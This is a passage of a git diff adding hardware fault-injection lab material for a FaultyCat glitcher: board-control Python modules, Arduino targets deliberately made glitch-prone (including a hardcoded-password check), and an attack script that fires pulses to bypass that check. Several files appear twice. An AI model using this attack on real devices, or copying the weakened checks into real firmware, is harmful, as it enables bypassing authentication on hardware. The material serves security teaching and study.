pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + 